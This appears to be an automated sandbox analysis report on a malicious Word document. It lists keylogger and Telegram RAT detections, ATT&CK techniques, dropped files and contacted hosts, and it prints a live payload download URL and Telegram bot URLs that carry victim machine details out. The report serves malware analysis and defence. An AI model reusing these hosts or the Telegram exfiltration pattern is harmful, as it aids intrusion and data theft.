Source: Yara match	File source: 00000013.00000002.3761096680.0000000023881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3760427867.000000001D271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match	File source: 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 8016, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 8016, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	1 Valid Accounts	1 Native API	22 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 DLL Side-Loading	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	1 Data from Local System	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	33 Exploitation for Client Execution	1 Valid Accounts	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	312 Process Injection	3 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	241 Security Software Discovery	VNC	GUI Input Capture	234 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	221 Masquerading	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	41 Virtualization/Sandbox Evasion	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	312 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ITT # KRPBV2663 .doc	47%	ReversingLabs	Document-Word.Trojan.Leonem
ITT # KRPBV2663 .doc	56%	Virustotal		Browse
ITT # KRPBV2663 .doc	100%	Avira	W97M/Agent.5915124
ITT # KRPBV2663 .doc	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\Public\Libraries\Aiymwhpj.PIF	26%	ReversingLabs
C:\Users\Public\Libraries\jphwmyiA.pif	3%	ReversingLabs
C:\Windows\SysWOW64\brightness.exe	26%	ReversingLabs

Source	Detection	Scanner	Label
http://amazonenviro.com/	0%	Avira URL Cloud	safe
http://amazonenviro.com/245_Aiymwhpjxsg	0%	Avira URL Cloud	safe
http://amazonenviro.com:80/245_Aiymwhpjxsg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.97.3	true	false	high
mail.techniqueqatar.com	208.91.198.176	true	true	unknown
amazonenviro.com	166.62.27.188	true	true	unknown
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false		high
http://amazonenviro.com/245_Aiymwhpjxsg	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2014:18:23%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2014:38:51%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high
http://checkip.dyndns.org/	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2006/01/2025%20/%2013:18:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com/	jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#	jphwmyiA.pif, 0000000A.00000002.3763255345.00000000237D4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.0000000023850000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2469665166.0000000023860000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3765263149.000000001F260000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002562B000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2643241704.0000000025639000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.00000000237D4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.0000000023850000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2469665166.0000000023860000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3765263149.000000001F260000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002562B000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2643241704.0000000025639000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org	jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.00000000237D4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.0000000023850000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2469665166.0000000023860000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3765263149.000000001F260000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002562B000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2643241704.0000000025639000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211D4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	false		high
http://amazonenviro.com/	brightness.exe, 00000007.00000002.2129746891.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://amazonenviro.com:80/245_Aiymwhpjxsg	brightness.exe, 00000007.00000002.2129746891.000000000071D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
